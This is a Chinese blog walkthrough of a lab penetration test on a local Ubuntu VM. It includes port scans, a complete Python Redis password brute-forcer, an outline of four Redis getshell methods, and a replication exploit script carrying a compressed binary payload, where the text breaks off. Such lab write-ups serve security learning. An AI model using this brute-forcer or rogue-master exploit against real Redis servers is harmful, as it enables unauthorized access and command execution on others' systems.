练习 - Ubuntu19渗透

Posted by morouu on 2021-12-27
Estimated Reading Time 85 Minutes
Words 15.1k In Total
Viewed Times

练习 - Ubuntu19渗透


- 目标配置 -

攻击机:

  • Kali(msf6):192.168.111.133

靶机:

  • Ubuntu19:192.168.111.142

- 具体步骤 -

- 信息搜集 & getshell -

话不说,直接上 端口扫描 吧:

1
nmap -O -A -sV -p- 192.168.111.142

得到结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
┌──(root💀kali)-[/ctf/python]
└─# nmap -O -A -sV -p- 192.168.111.142
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-13 08:55 EST
Nmap scan report for 192.168.111.142
Host is up (0.00056s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ca:5d:8f:1a:58:0c:cb:eb:39:b7:7a:aa:e5:d0:ed:5d (RSA)
| 256 d3:dd:e1:1e:ad:1b:a5:c3:55:4b:70:29:3b:4e:ea:be (ECDSA)
|_ 256 14:a7:b5:af:3a:15:f3:df:70:e4:ad:4d:cf:c1:65:0d (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: GXU\xE5\x92\x95\xE5\x99\x9C\xE7\x81\xB5\xE6\xB3\xA2~\xE5\xB9\xB3\xE5\x8F\xB0
6379/tcp open redis Redis key-value store
MAC Address: 00:0C:29:83:43:B8 (VMware)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.56 ms 192.168.111.142

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.79 seconds

可以看到,开放的端口如下:

  • 21端口:ftp
  • 22端口:ssh
  • 80端口:http
  • 6379端口:redis

行吧,这个靶机看起还挺稳固的,开的端口不是很多。由于开放的端口比较少,这里依次对所开放的端口进行攻击尝试。

- 21端口 (ftp) -

从上边的 nmap 扫描结果,轻易的出来这个 ftp 应用为 vsftpd 3.0.3 的,不妨直接使用 msf 进行尝试。

image-20210313220312817

emmm,这个版本似乎是比较久远了,显然是不太行的了。可以试试看吧。

image-20210313220452121

确实不太行,试试看能否从 匿名用户 登录以便搜集一些信息啥的。

image-20210313224628406

匿名用户看起来也是不行的了,暴力破解显然是不太可取的。那么 ftp 这条路就暂且搁置。

- 22端口 (ssh) -

还是先用 msf 的侦察模块去试一下吧,

image-20210313224910484

这里得到了有关靶机的 ssh 信息,然后尝试 枚举 一下 ssh 的用户:

image-20210313230221066

看起来靶机是开了 防火墙 了,不仅对枚举进行 假正确 响应,还对暴力枚举进行了次数限制。那就先暂时放弃对 ssh 的攻击吧。

- 80端口 (http) -

emmm,实话说这个 web 端确实挺有意思的,不过实际上也就是个静态页面而已,没啥突破口可言。

image-20210313234213299

虽然这里得知这个服务器是 nginx1.14.0 ,但是一个静态网页确实没啥办法啦,直接放弃吧。

- 6379端口 & getshell (redis) -

说到 redis ,这里可以尝试访问:

1
redis-cli -h 192.168.111.142

结果是可以进去的,但并不能直接执行指令,还需要进一步认证:

image-20210314185923784

也就是说这个 redis 并不存在 未授权认证 的漏洞。不过咱么可以写一个暴力破解 redis 认证密码的脚本,尝试进行攻击吧。而对于 redis 的暴力破解攻击,无非就是 执行认证命令 -> 检查是否认证成功 整个步骤,这里可以在本地简单地分析一下 redis 的命令格式吧。

首先在本地将 redis 安装了,然后编辑 /etc/redis/redis.conf 文件,设一个简单的密码:

image-20210314190738615

然后使用redis-server redis.conf 将配置加载了,再使用 service redis-server restartredis 重启了,再输入 redis-cli 进入本地的 redis ,尝试执行任意命令,如果出现认证错误则说明成功设了密码,也可以再尝试输入密码看看:

image-20210314191731122

OK,此时此刻,使用 socatredis 的整个交互过程进行查看吧,直接执行 socat -v tcp-l:3331,fork,reuseaddr tcp:127.0.0.1:6379,fork 进行端口转发,然后使用 redis-cli -h 127.0.0.1 -p 3331 连接监听的端口。此时就可以看到和 redis 交互时的内容了。

image-20210314191438935

之后使用刚刚设的密码来一个完整的认证,这时可以观察 redis 交互时的格式了。

image-20210314192134074

具体格式为:

  • ‘*’ + [参数数量] + ‘\r\n’
  • ‘$’ + [第 1 个参数长度] + ‘\r\n’
  • [第 1 个参数内容] + ‘\r\n’
  • ‘$’ + [第 2 个参数长度] + ‘\r\n’
  • [第二个参数内容] + ‘\r\n’
  • ……

比如上边的 auth dqv555 这个命令,整个格式即为:

1
2
3
4
5
*2\r
$4\r
auth\r
$6\r
dqv555\r

这应该算是显而易见的了,那么假若要爆破 redis 的认证密码,不妨可以发一个形如以下格式的包进行爆破,若 redis 回显 OK 则说明认证成功。

1
2
3
4
5
*2\r
$4\r
auth\r
$[密码长度]\r
[密码]\r

那么,可以简单的写一个脚本吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
from socket import socket, AF_INET,SOCK_STREAM
from threading import Thread

passContent = None
CRLF = "\r\n"
pad = "\n"
waitDict = {}
finish = False
result = None

class _List(list):

def __init__(self, seq=()):
super(_List, self).__init__(seq)

def readline(self):
try:
return self.pop(0).encode()
except IndexError:
return b''

def close(self):
self.clear()


class _Run(Thread):

def __init__(self,host:str):
global waitDict
super(_Run, self).__init__()
self.setDaemon(True)
self.host = tuple(int(each) if each.isalnum() else each for each in host.split(":"))
self.thisName = self.getName()
waitDict.update({self.thisName:False})

def run(self):
global passContent,waitDict,result,finish
print(f"<<< Start from {self.thisName} >>>")
while not waitDict[self.thisName]:
passwd = passContent.readline().decode()
if passwd.find(pad) > -1 and passwd.rsplit(pad,1)[1] == "":
passwd = passwd[:-len(pad)]

if passwd != '':
s = socket(AF_INET, SOCK_STREAM)
s.connect(self.host)
payload = "".join(_redis_format(*line) for line in [
["auth", f'{passwd}'] if passwd else []
]).encode()
s.send(payload)
if b'+OK' in s.recv(1024):
print(f">>> Success from {self.thisName} <<<")
result = passwd
s.close()
break
s.close()
else:
waitDict.update({self.thisName:True})
return

finish = True

def _redis_format(*redis_cmd):
if len(redis_cmd) == 0:
return ""

cmd = f"*{len(redis_cmd)}"
for line in redis_cmd:
cmd += f"{CRLF}${len(line)}{CRLF}{line}"
cmd += CRLF
return cmd

def goBrute(host:str,threadNum:int,passList):

global passContent

if isinstance(passList,str):
try:
passContent = open(passList,"rb")
except FileNotFoundError:
raise Exception("File not found...")
except OSError:
raise Exception("File can't be read...")
elif isinstance(passList,list):
passContent = _List(passList)
else:
raise Exception("Error passList...")

for each in range(threadNum):
try:
_Run(host).start()
except IndexError:
break

while not finish:
try:
if not bool(sum(not each for each in waitDict.values())):
break
except KeyboardInterrupt:
print("<<< bye!!! >>>")
passContent.close()
exit()

print(f"<<< get result -> {result} >>>") if result is not None else print("<<< failed... >>>")


if __name__ == '__main__':

"""
@ host = 目标地址
@ threadNum = 开启的线程数
@ passList = [filePath/List] 密码字典,可以是文件路径或纯列表

"""

password = [
"123",
"123456",
"1234567",
"23333"
]
#password = "./password.txt"


goBrute(
host="192.168.111.142:6379",
threadNum=5,
passList=password,
)

然后先指定一个字典,这里我直接使用 kali 自带的字典好了 /usr/share/wordlists/rockyou.txt ,然后将调用的代码改一下:

1
2
3
4
5
6
password = "/usr/share/wordlists/rockyou.txt"
goBrute(
host="192.168.111.142:6379",
threadNum=5,
passList=password,
)

简单运行一下,看起来已经能得到 redis 的认证密码 123456 了:

image-20210314211600118

OK,那么尝试入侵靶机的 redis 试试:

image-20210314212128974

显然是成功认证了,那么就可以使用靶机上的 redis 了。说到 redis ,实际上有 4 种方式来 getshell ,这里一一列举说明并尝试看看吧。

  • 第一种,写 webshell

    emmm,这个原理其实也很简单,由于现在已经可以操作 redis 了,就可以把带有 [一句话] 的内容存在 键值对 中,然后将 redis数据库 导出到 web 目录中的 特定的文件名 中,比如 (.php、.jsp啥的) 就行了。

    那么这里先简单写一个 .html 文件试试:

    image-20210314212937892

    看起来并没有成功,其实还有很多不确定的因素在里边的,比如 是否拥有写权限 这就很重要。一般高版本 redis 用户的权限都是极低的,当然也有可能是 web 目录没有写权限。

  • 第二种,写 ssh 密钥:

    这个就比较麻烦了,由于 redis 无法读本地文件,所以不知道靶机上具体拥有的用户有哪些,而 root 用户启动 redis 又几乎是不太可能的,况且高版本的 redis 默认是 redis 用户,权限极低。不过也可以简单试一试是否拥有写权限。

    image-20210314213259723

    还是直接放弃吧,看得出来这个 redis 应该是个权限极低的 redis 用户了。

  • 第三种,写 计划任务 来反弹shell:

    至于 计划任务 也就是将内容写入 ,也就是将弹shell的语句写入 计划任务 中执行 。在 ubuntukali 中,得写到 /var/spool/cron/crontabs/root ,而 centos 得写入 /var/spool/cron/root 中。只是这玩意几乎是不太可能的。

    image-20210314214810353

  • 第四种,依靠 主从复制 来执行命令:

    说到 主从复制 这应该是这几年的比较新颖的攻击方式了吧(据说是从 ctf 出的),这里就部分摘抄 链接 说明一下好了。

    Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。

    为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

    简单来说也就是,在自己的 攻击服务器 上开一个 假的redis 服务器,然后让 靶机的redis 开启 主从模式 连接 假的redis 服务器。当 靶机的redis 连接过来后,向其发送一个恶意的 so 文件(比如包含执行系统命令函数)。然后连接 靶机的redis 去加载这个 so 文件里边的 邪恶函数 ,即可能够执行命令了。

    简单图示:

    img

这里就直接个一个利用脚本吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
from socket import error, socket, AF_INET,SOCK_STREAM,SOL_SOCKET,SO_REUSEADDR
from zlib import decompress
from threading import Thread

exp = decompress(b'x\x9c\xed}\t`TE\xd6\xee\xbd\xddY:\x9d\xadIBh\xf6\x00\x01\x82@\x08\x8b\x98\x11\x81\x84\x10\x08{$\x04\x01\xd1\xa6\x93t\x92\x86\xa4;\xf4\x82\x01\x1d\x88\xb2\xc8"\n\xc2(\xe3\xa0F\xc7%.\xa3\xb8\xa0\x88\x8e\xc4e\x04\x1dG\xa3\xb8\x04u4.8aT@\\~\x141\xef\x9c\xbaU\x95\xee\xbau\x1b\xe7\x7f\xf3\xde\xff\xff\xef\xd9pso\x9d\xef\x9cS\xa7N-\xf7v\xdf\xaaSk\ngN1\xa9\xaa\xc2>fe\x82\x82\xa9\x86,-\x9dG\xe9\x19\xf7r\x16\xa0\xe5*\xd1\xf0\xd7\xaet#\xbc\xd1\x8a\xf1\xa7WQ\xf8\x194\x91\xbf(\x17\x03G\xe3l\x8d\xda8;#\xec|\x92\x9a\xd4\x12\x1d.g:\x87\xdc\x12*\xc7\xce\x16*}\xf1\xd1@EL\x04;\xc5\x8f\x8d\x9e\xe7\x82\\\xd4\xbf\x90\x1f\xf3\xe4Z8n\xa4\xd7c\xe8y>\x1cA8\xb8+\x84O\x86\x90\xeeM\xf5\xb0O\x1c\x1c\xe7\xc3Q\x08\xc7H8\xba\xc0\x91\x08G\x1f8\xea\x94\xf0\xfc\xd3\xe0\xa8\xa0\xd7\xe8\xc2\xbe\xf4\xda\x0e\xc7\xc0\x10\x9dVz^\x06G\x12\x1c\x13\x15\xad\xceo\xa0\xf4j8\xae\xa2\xd7\xf9p\x14\xd0\xebmpL\x82\xc3\x01\xc7\x94\x10}\xab\xe9\xd9\x0bG<\xbd\x1e\x0c\xc7\x05!<\x1b\xe18\x0f\x8e\xad4\x9d\x0b\xc7x8~C\xd3\x1b\xe8y.\x1c\xdb\xe1H\x87\xe3R8.\x83c\x01\x1c\x17R\xfcbz\x9e\x00\xc7dz\x1d\x1b\x92\xcf08\xba\xc3\x91\xadh\xed\x06?\xe5pl\xa2\xd7[\xe0h\x80\xa3\x14\x8eJ8\x96R\xfa%p\\\x0b\xc7\xd5p\xa4\x84\xe8\x1b\x05\xc7\x0c8\x06\xc0\xe1\xa2\xb4up$\xc3q%\x1cUp\xac\x80\xe3r8z)Z;\x1d\x07\xc7z8.R\x8c?\x0bC\xae\xfdp8\xe9\xf5<Ek\x87n8\xa6R\xdaL\x89\xfcu\x06z\x8b\x85\xf4\x08\tO\x89\x81l\xad\x84\xe6\x83\xa3GHz\x11\x1cs\xe0\x18\x02G\x19\x1c\xa3\xe1\xc8\xa1\xd8pz\x9e\x0e\xc7 z\xdd\x95\x9e\x97\xd3s\x00\x8e\xd9!\xfa\xae\xa7g\x0f\x1c\x99!\xf4\xa1pL\x83#!\x84\xd6\x8f\x9e\x7fK\xcf\xd7\x18\x94\x03?5\x110\xfct\x83c,\xbd\xde\x0c\xc7Jz\x9d%\xf0\xa5\xc2\x81cAO\x9a^C\xcf\x16E\xff\xb9\x82\x9e\xcd\x02}\x16=\xaf\xa2\xe7%\x11\xec\xeaO\xcf\x8bCh\xf5\xf4\x8cm\xc4F\x0f\xec\xc3\x8dEjCT\xf1\xb6m\x87\x1aT\xdb\xf5\xb6\x06\xa0g*\x96\rq\x8a\xed\xbak\xa22b\xd3\x94\x9c\x84\x8dK\x12\x86\xe7\xdd\x11\xa7\xa4\xe4\xbd\x9c`Q\xf2\x1a\x07\x14\xdbL\x851\xca\xc6u#\xcdi\xd3\xa3\x922L\x16\xf5\x1a\xa5{\x83}\xd4\xefO\xb5e*\xee\xb4\xe2glQ\xa6\x02\x9b\x92u\xdd\x10{\x83M\xedr\x8d\xcd\x92gR\x9a\xa2\xb76\xad\x1dm\xb3l\x8b\xca\xb0\xda\xa6\xefO\xceW\xce\xbf\x0bj=\x03\xed\xc0\xbe\x82\xe3\x0e\xfa\xb3{\x88\x9f\xf0\x83cY\x06\xbd\xc6\xba\xc3>\x84u\x8cm\x03\xc7\x07\xf45\x8e\t\xc3(\x0f\xb6\x1fl\xaf\xd8\x9e\xb0\xdf\x8d\xa6t\x1cKq\x0c\xc4\xfa\xc2q\x03\xc7\x02\xecc\xd8\xbf&P\x9e<E\x1b\xabp|\xc2\xf1\n\xc7\x06\x1c\xa3\xb0\x0fa;b}\x08\xfb\x07\x8e1\xf3i\x1a\xc7\x16\xec\x8b\xd8\xae/\xa5~\xbf\x9cb8\xce-\t\xf1=\xb6w\x1c\x1b\xb1o\xb2qc\x19=c\xdf\xc16\x8cc2\xb6u\xec7\xd8\xd6Y\x9b\xc0:\xc46v%Mc\x1b\xc6q\x93\xb5\'\xfc4(Z\x9b\xc6\xf1\x7f\x1d\xa5\xe1\x98\x84c\'\x8e[\xd8Wp\x0c\xde\x1e"S\xf3l\xd6\x94\xab?\xb9/\xba2a\xce\xe0\x89-U\x03Z.\xb9\xf5\xc4C\x07o\x9cy\xd9\x93w\xbc\xe1+[\xff\xc5\x8c\x82\xebK\xda\x96\xde6\xf0\xf6\xe7r\x97\xf7\xba\xef\xb3\xc6\x07\xe6\x05/\xaf\xf0\x1d\xbd\xf8\xd1\xbb<\xd3?\xbe\xec\xa7\xa4\xd7\x87\xdd\xf6\xdd\x84Y\x9f\x8e\xfc\xc3\xbb\xbbN\xb96\\_R\x96\xb7k\xc3\x90Mk[\xd7\xce\xcdzpF\xf2\x9e\'~\x1c~\xd4\x7f\xf3(\xf5@\xd4\xc6\xd1O\x9c\xed\xb9\xf8\xa6\xa1]\xdf,\xea\x7fG|\xf3\x99\xe0G\x83\x8e\xdd\xb5\xfe\xf6)\xf3\'9\xfer\xfd\x0fI\x17\xec{\xfaw_M\x9b\xd4\xff\xd2n3\xdf\xfc{\xc9M\x1br\x8f\xb8\xbey\xf2\x92\x87:*V\x9f\xd8\x15wC\xe2\x80\x82\xc2\xb7\xbf\x8c\x1f\xf2\x9b\xc7\x9a\x86N:\xb6\xf5\xe5\x1bvf]\xb3\xe9j\xe7\xed\x83\xdez\xf8\xba\x01\xcfT\xbd\xf3\xfa\x84\xbd;\xaa\xdey\xdb\xb3\xa8p\xd8U\xaf\xfe\xf4\xee\xe4#E\xce[\xdb\x1e\xda\xd6\xfd\xc8\x8e\xa7Ko\x1d;6/e\xdd+\xb6\x83\xe5\x8f\xdc\xb8\xc4\xfd\xde\xea\xe5\x837,\xf5\x9e\xaa\xb9w\xd2\xc2[\x0b\xbbM\xdd\x9fZ\xfd\xfc\xd1\xea\xf9\xc7\xbf\xbfo\xdd\xd2\xfb\xcf\xcb\xba\xaa\xf8\xb6\xaeck{\xbd\xb2\xab\xf9\xdd\xaa\xbb\xfc+?\x18td\xf9\x82^\xaf\xffm\xd5\xfa\xef\x9arN\xbf\xbf\xa6f\xf6R\xf5\xcbq\xdd\xbaL;\xf1\xf4\xa77^\x95|r\xb6i\xea\x89\xa7\xde\xbbl]rKL\xcb\xe7/\x9dj9zq\xd9\xc5\xcb\xeb{$\xf5;z\xff?\xc6]r\xf7\xdd\x85O\xab\xfe\xc2\x1e\x7fX\xdd\xf3\x86\x19\xb7\xfcv\xb9b\x8d.\xbd\xf6\xf5\x0fo\xaf\xbaoo\xb0\xec\x83\x1f\x93\xd6\x7f\xde\xba\xe3\x92\xc3\x7f\xb9\xf4\x80o\xee\x9dS.\xda\xf9\xcf\xf5E\x9b\xb7\xd8N\r\x9b\xf9\xe5C\xb5\xc7oMj:Y\xf2\xc7\xab\xae<{S\xd27\xdf\xce\xf8)\xe9\xb1\xf1o?wQ\x97o\x93\xe27\x9e\xed\x7fm\xd5\xd0\xe3_\xafoj\x18\xf7I\xcfw\x94g\xffc\xe1\xd7\xc1\xfb\xd7\xf4\xdd\x9ba/\x18\xf0\xe7\xbf\xa4\x8f>~\xd6\xf6\xf4\xe8\'\x1ey\xf5\x8d\xa2\xa7\xf2+\'\xcd]S\xfa\x1f\t\xd7l\xb8\xe0\xfd\x0f\xbf\xba\xd2\xe3y\xadr\xff\x91\xd6\x1d\x97\xae\x1d\xb2c\xe6\xdc#\xf7\x1c>U:\xa0\xcb\xc1\xbf\x0fr?\xf9]\x92\x12\xe1\x13H\x08\xbf\xa7\xb1\xcf\xcd\x06\xf4\x83\x06\xf4\x0f\x0c\xe8\xdb\x0c\xe8\x9b\r\xe8\x1f\x1b\xd0\xffl@\xaf5\xa0_i@\xaf2\xa0\xef3\xa0\xaf5\xa0\xbfe@\xff\x9b\x01=\xd1\x82\xcfgI\xca\xc9\xe2\x0c\x92f\xf7\x88\xf1\xf1\x1a\xddrq8\xfdH\x9cF\xcf\x99\x1bN\x7f\xc1\xa4\xd1\xed%\xe1\xf4\x1f\x15\x8d\xbeD\xe0_\x10\xad\xd1w\t\xf4\xa3Q\x1a\xbdZ\xd0\xf3\x0c\xcdw\x8f`\xe7`\xaa\'K\xd03^\xd5\xe8-\x82\x9eA\xb4\xbc\xca\xbcp\xfa>\xca\x7fH\xd0?\x91\xf2\xdb\x05\xfe\x12j\xcf!!\xdfRj\xff\x02!\xdf\xab\xac\x1a\xfd\xb4@\xff\x86\xda\xaf\x08\xf4;\xa9\xfe,\xc1\xff\xf3\x99\xfdB\xbe]\xa8\x9e\x06\x81\x8e\xf7,\xa4g\x88zb4z\xbb@\x9fA\xf9\x9b\x04?,\xa5\xf6\x9c\x14\xf4\xd7\xd0\xf2\xb6\x0b\xfc\x17Rz\x9e\xa0_\x8d\xa5\xf5"\xd0WS\xffg\x08\xfa\xff\xc2\xda\x89\xc0\x9f\xca\xec\x14\xdb\'\xe5\xb7\x0bz\x0eP{\xda\x04;\xaf\xa6\xfe\xdc&\xf8\xdf\x94@\xdb\xbfP\xef\x7f\xa1\xf9V\x0b\xfa\xb7Pz\x83`\xcf)\xea\xb7F\x81\xff^Z\xdejA\xff^j\xcfFAO#\xed_\xcd\x02\xfd\x1e\xda\xae\x1a\x04\xfb\xe7\x98i\xbd\x08\xf4\xe8D|\x16KT\xb6Q?\xb0O&\xd5\x9f%\xd8\xf3\x01-W\x9d\x90\xef\x0f\x94\xbfX\xe0o"\xe3L\x9c\xb26WK\x8f\xa3_\xf4\x82\xb4\xbd\xb5\t\xf6\x0c\xa3~.\x12\xe8\xc7i;\xc9\x13\xe8\xcb\x99=\x02}\x15\x1d\xaf\xf6\t\xf5\xbb\x83\xfay\x9f\xe0\xffXj\xffFA\xcf\x83\xd4o\xadb\xfb\xa1~n\x14\xfc\xf0\t\xd5\x93#\xf8\xe12\xea\x878\xfa\x85r\x15\xf5\xc3p\xaa\x7f\x9b\xa0\xe7&Z\xde=\x02})\xe3\x17\xca\xd5\x8d\xb6\xab\x16\x81\xaeR\xff\x14\x0b\xf6\x8f\xa5\xfeo\x12\xe8\x1e\xda_\x9a\x04?|I\xfdyR\xa07\xd2~T,\xd8\x99F\xfd\xb3D\xa0\x8f\xa2\xf4\x16!\xdf2\xea\xb7"\xc1oWR\xfai\x81\xff\xf7\xd4\xfe<\x81?\x81\xb4\xe7$]{\xce\xa5~X \xd8s\r\xb5?W\xa0o\xa6~>$\xd0\x8f\xd1\xfe\xb8K\xf0\xf3\xdf\xa8=\xf5\x82\x7f\xec\xd4\x9e\xbay\xe1\xf6<I\xfd\xd9,\xf07Q;\x9b\x05\xfd\n\xad_\x9b\xe0\x874\xda\x9e\xeb\x05;\x1f\xa1\xed\xa7M\xa0\x17P=\x16!\xdf3\xcc\x0f\x02\xbd\x85\xea9$\xd0\x0fQ\xff,\x11\xfc_I\xed\xc9\x13\xec\xbc\x9c\x96\xcb&\xe8\xf9\x8a\xf2\xe7\x08v\xee\xa2~n\x15\xfcPE\xdb\xcf6A\x7f\x03\xb5s\x9f\xa0\xa7\x1b\x1dO\xec\x02]\xa1\xfe\xaf\x16\xe8\xc3\xa9\x7f2\x84r\xb5\xd3\xfe\xfb,\xfd\xb1\xe7-J\xaf\xa5v\xda\xc4q\x80\xfag\xa3`\xe7\xcd4\xdfz\x81^H\xedl\x13\xe8\x8b)\x7f\x8e\xe0\xb7\nZ\xde"\x81\x7f\x08\xf5g\xae@\xdf\xce\xc6+\xc1\x9f\xafR\xfb-b\xbb\xa2\xf9.\x10\xe8\x87\xd9\xf8)\xd8\xf3\x0e\xe5o\x14\xe8\x17P;\x8b\x05zo\xda\xdeN\x0b~;L\xed\xcc\x10\xf8\x7f\xa6\xfe\xb4\t\xf52\x9e\x8eW\xcd\x82\x9d\x0fSz\xae\xc0\xdf\x95\xdasZ\xf0\xc3W\xb4\xff\x16\t\xf6\xacc\xcf\x1b\x82=\xc5\xd4NE\xe0\xcf\xa3\xe3U\x9d`\xcfL6\x9e\x0b\xf4M\xb4\xbd\xb5\x0b\xf4]4\xdf\x93\x82\xfe!\xd4\xcfK\x04{\xbaR\xfb\x17\x08\xe5\x9dK\xeb\xabU\xd0\x93B\xfd\x99%\xe8y\x8c\xea\xd9#\xd0\xbf\xa0\xe5m\x15\xe8\xca\\W\x85\xdb?\xcb[\x11\xacq9\xf2kj\xbc\xe5a\x94\xb9.\xa7\x8e6\xc5\xe7r\x85\x11\n\xf4<%\x01_E\xb0.\x8c4\xd5\x15\xc8\xafs\x87\x0b\xfa\\\xce\x80\xab\xc0[[\xeb\xf4T\x84\xcb\xbb\x02\xdaU~ \xe0s\x97\xf9\xc3\xc0i\xf4b\xb6\xb3\xd65)\xe8_\x19\x06^\xe2\xf3z\xaa\xf2}\xee\xc0J\xa1 u5+/q\x07\xaag\x02\x8c\x87h[\x89\xab\xc6U\x1epUL.\x13\x0cA\xb2@\x9cS\xe7\xf2\xccp\x85gPP\xe3\xf5\xbbD"\xa4\xe7\xad\xac\x0b\xf7\xd6|gM\xd05\xd3\xe5\xa9\nT\x87\xd1g\xba\xfd\x81\xe2\xa0_B\xf4\xd6\xe9\xdc\xad#\x90\xf2\x15\xfb\xbc\x01\xaf\xae\xae8,\x17\xd2\x19\xc8\x91i\x9e\x80\xab\xca\xe5\x93\x83\x92\x12p,\xdf\xe7s\xae,\xacq\xd5\xba<\x01I\x85C\xe3p\x0b\x15\x10\nL\xf1yk\xa5\xb5$2\x9dCO1\xfc\tT\xea\xdc!\x91\xa2\xfc\x01\x1f\x14J\xdej\n}>\xafO\x0e\x95\xb8k\xebjdZ9\x07q\x87\x1e\x826N\x10\x89\';\x95\x13\xb5\x93\x82\x95\x95.\xa3\xec#d<;(\xb4\x14\x8eL\xf6\x06\xcbj\\rL\xde^\xb4|\xe6y\xa55\xc3@\x89\xda\xfc`\xc0;\xcbU\xeb\xf5\xe9=\xe0.\x87\xba\x92S\xe7\xbb|e\xce\x80\xbbV\xde\xbex}El\x1e\xf2rL\x86\x0e\x1d\xd0u\xd4RO\x8d\xdb\xb3L\xa4j\xba\xa0\x9e$\xd4\xc9\xb3\xf2e.\xf0\x05=\xbaR\xc1\xe8RX_\xe7\xf6\x85SK\xa4\xd4E~h\x15\x15\x15:\xda4O\xb9\xafl\xa5\x8e\\R\xee\x95(\x98\xeb\xaa\xd5\xd3\x9c\x9e*p\x8e0\x96 2\xc5\xed\xf3\x83~\xa2\x8ap\xe98f:\xcf\xc1@U\xcct\xd5GR`\x08\x13jA\xd0\xe7\x83\xf1B6lp\x9e\xd9\xaez\x03\xa4\xd8\xe7Z!G\n=\x15p\x17+\xafv\x85;\xb5\xc8\xe9\xaf\x16k\x16iS\x05\xda4?\xb4\n\x7f\xb1\xd7\xef\x0e\xb8\xbd\x9e\xb9\xae\xe5A\x97?\x9c\x03\xf0|\x18\xa4\xfdb\x9d\x17\xd4\xb8\xa1 \xd3*tt/\x8c\xab\xf5\x81)5\xce\xaap\x99b\xaf\xb7F\x7f\x0b\xd6\x9a\xf5dg\xc0\xa9\x1b\xa9\xb5\x13\x92\xa1$\xe4\xbeb\x00C\xae\x11\x84\xa7\xca\x84K\x9c+\\\xa5\x1e\xbf\xbb\xca#8n\xa6\xd7Y!\x05P\xa2D\xce/!\x17\xd6\xba\x03\xf9s\xa6\xe85H\x86gN\x96\x0c\x84D\xbd^\xa6\x93,\x91A\x85\x92\xa1\ne$d\xe4\x9eR\xe3u\x06t\xcc2\xaahF\xd5\xb49\xfa\x9b\x87fY~\x1d<GTH\x07\xf7\x80\xd3\xed1\xbcQ\xc1\x03S\x9d\xd3\xa7\x1bcX\xbb\x82\xa1o\xda\x9c\xf0\xaav\xd7\xd4\xb8\xfd\xaer\xaf\xa7"\xbc\xc5MvWAk\x86\xf1\xc6\xd0U\x9cC:\xeek(\xf4\xb0\x12\xec\x17\x9er\x97\xac\xe5\xba\xcb\xc3}\x847a\x1d\x11\t%\xeeU.=\x11\n\xa6#\xe2\xb0\xee,w\xe9\x01\xb1G\x870\xeb\xe8Se\x9a\xc5\xee\x8f4\xb8e\xe8\x19\x81\xa8\xa3M\x0b\xb8|\xce\x80\xd7W\x12p\xfa$\xba\xc3\xe0\x08\xa80F\x87\x82s]~\x97k\x99\xb1j\r\xd7\xc18n\xea\x85p\xcc\xd4Suc,c\xd5\x11i;\xd4\xab`\rt\xb2\x97=\xdb\xd7y\xa1\xa9+\xb5\xda\x17\x05\x7f\xc0W\x03)\x9f\x8b\'\xe1\x96\xa9TV\xb9\x02~\xa5\xae\x1c\x9f\xa3\x15\x87\xc3\x1fp\x96/s\x94W/sT:\xdd\xe8\xea\x15%\xd5\xae\x9a\x1a\xa6\x10\n\xebV\xdc\x1eW\xc0\xe1\xac\xa8\xf0)\xd5\x01\xaf\xc7\xaf\xf8\xbd\xe5\xcb\xa0\xfe\xa0\x9d{\xe0\xa1]\x81o 